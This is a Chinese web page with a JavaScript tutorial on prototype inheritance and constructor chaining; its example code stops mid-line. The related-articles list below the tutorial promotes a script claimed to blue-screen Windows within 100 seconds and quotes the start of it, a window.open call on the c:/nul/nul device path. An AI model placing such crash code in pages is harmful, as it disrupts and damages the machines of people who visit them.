易截截图软件、单文件、免安装、纯绿色、仅160KB

Javascript 继承机制和构造方法链实现

首先是我们熟悉的extend函数 
/**
* 扩展函数
* @param target 扩展对象
* @param params 扩展参数
*/
function extend(target, params) {
if (!target) {
target = {};
}
for (var prop in params) {
target[prop] = params[prop];
}
return target;
}  
接下来继承函数
/**
* 继承函数
* @param SuperClass 父类
* @param overrides 重写方法
*/
function extendClass(SuperClass, overrides) {
var SubClass = function() {
// 自动调用构造函数
this.initialize.apply(this, arguments);
};

SubClass.prototype = new SuperClass();

extend(SubClass.prototype, overrides);

SubClass.superclass = SuperClass;

return SubClass;
}  
测试代码
var Animal = extendClass(Object, {
initialize: function(name){
this.name = name;
},

showName: function(){
alert(this.name);
}
});

var Cat = extendClass(Animal, {
initialize: function(name) {
// 调用父类构造函数
Cat.superclass.prototype.initialize.call(this, name);
}
});

var BlackCat = extendClass(Cat, {
initialize: function(name, type) {
// 调用父类构造函数
BlackCat.superclass.prototype.initialize.call(this, name);
this.type = type;
},
showType: function() {
alert(this.type);
},
showName: function() {
alert(this.name + ":" + this.type);
}
});


var cat = new Cat("cat name");
// 继承方法
cat.showName();

// true
alert(cat instanceof Animal);

// true
alert(cat instanceof Cat);

// false
alert(cat instanceof BlackCat);

var blackCat = new BlackCat("123", "black");

// 方法重写
blackCat.showName();

// 自有方法
blackCat.showType();

// true
alert(blackCat i


相关文档:

JavaScript最让人费解的十件事(

原文地址:http://developer.51cto.com/art/201002/185161.htm
JavaScript是一种广泛用于客户端Web开发的脚本语言,其可算是世界上最流行的编程语言,它曾被Web开发设计师贴上噩梦的标签,虽然真正的噩梦其实是DOM API,也曾经有人认为JavaScript语法中有很多陷阱,同时其也有很多让人费解的东西。
1. 它以Java命名,但并 ......

javaScript的callee属性

      js的Function对象在调用过程中具有一个arguoments属性,它是由脚本解释器创建的,这也是创建arguments对象唯一途径。arguments对象可以看做是一个Array对象,它具有length属性,可以通过序号访问每一个参数。而且,通过arguments 的callee属性可以获取对只在执行的Function对象的引用,如下 ......

Javascript 面向对象机制的实现

Javascript 面向对象机制的实现
自定义类的实现方法很多,重点谈两种。
构造函数法
function Player(url){
    this.url = url;
   
    this.showUrl = function(){
        alert(this.url);
    }
 &nb ......

100秒内蓝屏死机的Javascript脚本源代码

【!声明:此程序只供研究使用,如用做不正当用途后果自负】
100秒内蓝屏死机的Javascript脚本源代码
引自:http://www.webdeveloping.cn/blog/?action=show&id=78
<html>
<head>
<script LANGUAGE="javascript">
  function leave() {
window.open(file:///c:/nul/nul,,toolbar=no,menub ......

JavaScript 获取浏览器的显示区域大小信息

网页可见区域宽:document.body.clientWidth;
网页可见区域高:document.body.clientHeight;
网页可见区域高:document.body.offsetWidth (包括边线的宽);
网页可见区域高:document.body.offsetHeight (包括边线的宽);
网页正文全文宽:document.body.scrollWidth;
网页正文全文高:document.body.scrollHeight; ......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号